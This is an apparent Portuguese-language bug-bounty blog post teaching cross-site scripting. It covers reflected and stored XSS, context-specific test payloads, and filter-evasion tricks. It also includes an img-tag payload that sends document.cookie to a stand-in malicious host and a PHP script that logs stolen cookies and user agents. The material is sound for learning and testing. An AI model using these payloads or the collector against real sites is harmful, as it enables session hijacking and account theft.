XSS - Cross-site Scripting


Vimos no post sobre SQL injection uma injeção de código que afeta o back-end (server side). Agora veremos um caso de vulnerabilidade no front-end (client side).

O termo cunhado para injeção de código HTML ou JavaScript no cliente foi Cross-Site Script, ou simplesmente XSS. Isto porque um dos usos que se faz é a transmissão de dados de sessão de um website (cookies, por exemplo) para um domínio controlado pelo atacante, ou seja, cruza de um site para outro.  

O problema

A vulnerabilidade vem como resultado de uma renderização insegura de uma string maliciosa passada pelo usuário, causando a execução de comandos na máquina da vítima. Além de HTML e Javascript, ainda podemos ter XSS com as linguagens ActiveX, VBScript, e Flash, menos comuns hoje em dia.

Vejamos a situação onde ocorre o problema. É semelhante à vulnerabilidade de SQL injection, com a diferença de que este cenário é executado no browser. Imagine que ao digitar o seu nome em um formulário, o website abre uma página contendo:

<h1>Olá, Poirot</h1>

Isto ocorreu porque a página foi gerada concatenando a string fornecida pelo usuário. Agora imagine que o usuário fornecesse o seguinte nome: Poirot</h1><a href=”http://www.sitemalicioso.com”>Clique aqui para ter uma surpresa</a><h1>

Veja que o resultado seria:

<h1>Olá, Poirot</h1><a href=”http://www.sitemalicioso.com”>Clique aqui para ter uma surpresa</a><h1></h1>

Portanto, sempre que um website retornar em suas páginas alguma string que você forneceu, teste para ver se ele aceita tags HTML. A grande maioria dos sites, no entanto, vai rejeitar os símbolos de “<” e “>” fornecidos pelo usuário, substituindo por inofensivos “&lt” e “&gt”.

Apesar de HTML não ser uma linguagem de script, apenas de formatação, é possível criar elementos que sustentam potenciais intenções maliciosas, por exemplo:

  • link para um site malicioso, onde a vítima pode ser ludibriada a fornecer suas credenciais achando que ainda está no site legítimo;
  • formulário para o usuário fornecer suas credenciais, que serão enviadas para um servidor sob domínio do atacante;
  • acessar uma URL como se nela estivesse a imagem de uma tag <img> e durante o acesso transmitir os cookies do usuário: ‘<img src=”http://sitemalicioso.com/submit?cookie=’+escape(document.cookie)+’”>’

A situação fica ainda mais perigosa quando podemos incorporar ao HTML elementos de script, como o JavaScript, utilizando as tags <script>. Por se tratar de um código executável, a gama de possibilidades aumenta. Um código JavaScript pode:

  • redirecionar o usuário para um site malicioso, assim como era feito por HTML, mas agora sem a necessidade do usuário clicar no link (usando “document.location”);
  • modificar os elementos originais da página, como links, botões, textos, possibilitando muitas ações visando enganar o usuário;
  • coletar cookies do usuário, como o cookie de sessão, que estando em posse de um hacker, permite a ele acessar aquele website como se fosse a vítima, sem a necessidade de conhecer a sua senha;
  • realizar automaticamente qualquer ação no website em nome do usuário, como realizar uma compra ou trocar de senha, pois como diz o hacker TomNomNom: tudo que o usuário consegue fazer com o mouse em um website, o JavaScript também consegue fazer.

Tipos de XSS

Mas o leitor se pergunta: mas o usuário irá introduzir uma string maliciosa para enganar-se a si mesmo? Obviamente que não. Vou mostrar os dois tipos de XSS em que não será o usuário que vai fornecer a string (pelo menos não conscientemente).

O primeiro tipo é o XSS refletido. Para funcionar, a URL precisa passar a string por parâmetro, por exemplo:

https://www.website.com/welcome?name=Poirot</h1><a+href=”http://www.sitemalicioso.com”>Clique+aqui+para+ter+uma+surpresa</a><h1>

Basta a vítima clicar em um link como este, passado em um e-mail suspeito, para ser levado à página que irá executar o XSS. Todo usuário confere qual o endereço apontado pelos links que ele clica? E se a URL estiver encurtada por um tiny URL? E se o payload (a parte maliciosa da URL) estiver encodada? Dificilmente um usuário comum irá perceber que “%3c%73%63%72%69%70%74%3e” corresponde à string “<script>”.

O XSS refletido não fica guardado no servidor. O usuário precisa toda vez executar a URL com o payload.

O segundo tipo fica guardado no servidor e qualquer usuário que acessar a página comprometida será vítima do ataque. Este é o chamado XSS persistido (ou stored XSS). 

Suponha um website de fórum, onde os participantes podem colocar comentários quaisquer, inclusive com payloads injetados. Quando os demais usuários visualizarem os comentários do hacker, também executarão seu script em suas máquinas. Daí se vê que o XSS persistido é mais grave que o refletido, pois o usuário não precisa ter feito nada de errado: ele apenas acessou uma página de um fórum. Todos os usuários que acessarem a página serão impactados.

Teste de vulnerabilidade

Para testar um website para a presença de vulnerabilidade de XSS é comum o uso do payload “alert(1)”. Para um programa de Bug Bounty, este inocente pop-up de alerta já é suficiente para demonstrar o problema no servidor e basta para abrir um bug report.

Assim como no caso do SQL injection, para evitar a sanitização por um script antes de transmitir, coloque o payload direto na URL, no caso de GET, ou em uma requisição interceptada pelo proxy, no caso de POST.

Dependendo de onde a string é refletida no código HTML, serão necessárias preparações diferentes do payload. A string pode estar basicamente refletida em uma das 4 situações:

  • dentro de um atributo que aceita URL: <a href=”string”>
  • dentro de um atributo genérico de uma tag: <img src="string”>
  • dentro do texto de uma tag: <h1>string</h1>
  • dentro de uma tag de script: <script>name=string; </string>

O caso de sua string aparecer refletida dentro de um atributo que aceita URL é o mais simples, pois não são necessários muitos caracteres especiais para injetar um script. A tag seguinte executaria um código:

<a href=”javascript:alert(1);”>,

onde o payload é: javascript:alert(1);

Quando a string se reflete dentro dos atributos de uma tag (excluindo o caso anterior) existem duas maneiras de injetar o JavaScript. A primeira é sem sair de dentro da tag, pois isto seria impossível quando a página sanitiza os símbolos “<” e “>”. A tag seguinte foi adulterada pela injeção de um payload usando “event handler”:

<input value=”x” onfocus=”alert(1)”>, 

onde o payload é: x” onfocus=”alert(1)

A segunda maneira é sair dos atributos iniciando o payload com: “>

Ao sair dos atributos de uma tag, podemos inserir nossas próprias tags, inclusive a <script>:

<input value=””><script>alert(1)</script><!--”>, 

onde o payload é: ”><script>alert(1)</script><!--

Se a string for refletida já dentro de uma tag de script, é o caso mais fácil, pois o código vai praticamente direto.

Quando estiver testando XSS, ao invés de tentar diretamente usar o payload <script>alert(1)</script>, faça testes para perceber quais caracteres são refletidos, como aspas e sinal de <>. Salve o código fonte retornado que contém o seu payload de teste. Com base nos símbolos que a aplicação permitiu refletir, desenvolva localmente o payload e use o navegador para testar se está funcionando. Após isso, codifique o payload em codificação HTML (exemplo: trocando “<” por “%3c”) e submeta para o site.

Mas não pense que sempre será fácil. A sanitização das páginas poderá te deixar sem a reflexão de símbolos importantes, como os símbolos de maior, menor e as chaves. Por isto, na maioria das situações não vai ser possível injetar o payload. Mas não se desespere: basta uma situação vulnerável para você ter o seu bug.

Evasão de proteções

Abaixo uma série de dicas para contornar as proteções do website:

  • Conhecer como injetar script dentro de “event handlers” das tags de: img, marquee, svg, input, entre outras, para escolher um tag/”event handler” livre de bloqueio. “Event handlers” são atributos como: “onerror”. Considere esta fonte de consulta: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
  • Se parêntesis forem bloqueados, usar: <script>alert`XSS`;</script>
  • Se ponto e vírgula for bloqueado, usar operadores aritméticos (+-*/%), booleanos (&|^) ou vírgula.
  • Se aspas duplas forem bloqueadas, usar outros tipos de aspas (‘ `). No entanto, para sair de uma string é necessário fechá-la com o mesmo tipo de aspas que ela foi aberta, ou seja, não é possível fechar aspas duplas com aspas simples.
  • Para evitar bloqueios por regex, é possível colocar “?.” ou “/**/”, como em: alert?.(‘XSS’) e alert/**/(‘XSS’)
  • Se comandos de JavaScript forem filtrados (como “alert(1)”), usar: String.fromCharCode(97,108,101,114,116,40,49,41)
  • Veja também as técnicas gerais apresentadas no post Evasão de filtros (WAF).

Código do servidor malicioso

Para terminar, um código para o servidor rodando na máquina sitemalicioso.com pronto para coletar os cookies das vítimas. Reforço que esta etapa não deve ser realizada pelo bug hunter, mas apresento aqui apenas por curiosidade.

<?php

$cookie = $_GET['cookie'];

$useragent = $_SERVER['HTTP_USER_AGENT'];

$file = fopen('cookie.txt', 'a');

fwrite($file, "Agent: $useragent; Cookie: $cookie\n");

fclose($file)

?>


xss
Gostou do conteúdo? Acompanhe-nos em nosso grupo do Telegram:
Bug Bounty para Iniciante

Comentários

Postagens mais visitadas deste blog

Como escolher um programa de Bug Bounty?

Novidade! livro BugBounty, o Mapa da Mina

Diferenças entre Bug Bounty e Pentest